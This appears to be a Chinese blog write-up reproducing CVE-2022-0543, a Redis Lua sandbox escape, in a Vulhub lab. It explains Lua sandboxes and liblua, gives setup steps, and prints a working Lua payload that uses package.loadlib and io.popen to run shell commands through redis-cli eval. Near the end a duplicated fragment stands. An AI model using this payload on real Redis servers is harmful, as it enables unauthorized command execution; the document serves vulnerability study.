Redis Lua沙盒绕过命令执行(CVE-2022-0543)
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package
,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
注①:
Lua沙箱:
Lua沙箱是指在Lua编程语言中,为了增强安全性而限制程序的访问权限和功能的一种机制。通过使用Lua沙箱,可以防止恶意代码对系统进行破坏或滥用。
Lua沙箱通常通过以下方式实现:
1. 限制访问全局变量:Lua沙箱可以禁止程序访问全局变量,只允许访问特定的变量或函数。这样可以防止程序修改或读取不应该被访问的变量。
2. 限制访问敏感函数:Lua沙箱可以禁止程序调用敏感函数,如文件操作、网络访问等。这样可以防止程序对系统资源进行滥用或非法操作。
3. 限制执行时间和内存:Lua沙箱可以设置程序的最大执行时间和内存使用量。如果程序超过了限制,沙箱会中止程序的执行,防止程序耗尽系统资源。
4. 限制加载外部模块:Lua沙箱可以禁止程序加载外部模块,只允许使用预先定义好的模块。这样可以防止程序加载恶意模块或执行未经授权的操作。
通过使用Lua沙箱,可以有效地保护系统免受恶意代码的攻击和滥用。在一些需要执行不可信代码的环境中,如在线代码编辑器、游戏脚本等,使用Lua沙箱可以提供额外的安全保障。
注②:
动态链接库liblua:
是一个用于嵌入式Lua脚本语言的库。它提供了一组函数和数据结构,使得开发者可以在自己的应用程序中嵌入Lua脚本,并与之交互。
liblua库包含了Lua解释器的核心功能,包括解析和执行Lua脚本、管理Lua虚拟机、调用Lua函数、读写Lua变量等。通过使用liblua库,开发者可以将Lua脚本作为应用程序的一部分,实现动态的脚本扩展和定制化。
使用liblua库的步骤通常包括以下几个步骤:
1. 引入liblua库的头文件。
2. 创建一个Lua虚拟机实例。
3. 加载和执行Lua脚本。
4. 调用Lua函数或读写Lua变量。
5. 销毁Lua虚拟机实例。
liblua库是一个开源的库,可以在多个平台上使用,包括Windows、Linux、Mac等。它是Lua语言的一个重要组成部分,为开发者提供了方便的接口,使得嵌入式Lua脚本变得更加容易和灵活。
漏洞环境
靶机:centos
攻击机:kali
redis环境搭建:
安装redis库:
sudo apt-get update
sudo apt-get install redis-server
安装完成后,使用以下命令来启动redis服务器:
sudo service redis-server start
Redis客户端连接到靶机,安装了Redis客户端工具:
sudo apt-get install redis-tools
安装完成后,连接到靶机上的Redis服务器:
redis-cli -h <靶机IP地址> -p <端口号>
端口查看命令:
docker ps
执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:
docker-compose up -d
服务启动后,我们可以使用redis-cli -h your-ip
连接这个redis服务器。
漏洞复现
我们借助Lua沙箱中遗留的变量package
的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io
。在Lua中执行这个导出函数,即可获得io
库,再使用其执行命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
。
连接redis,使用eval
命令执行上述脚本:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0
可见命令已成功执行:
= io.popen(“pwd”, “r”); local res = f:read(“*a”); f:close(); return res’ 0
可见命令已成功执行:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/8b2e7cd1660c4df0b0c436821d156458.png)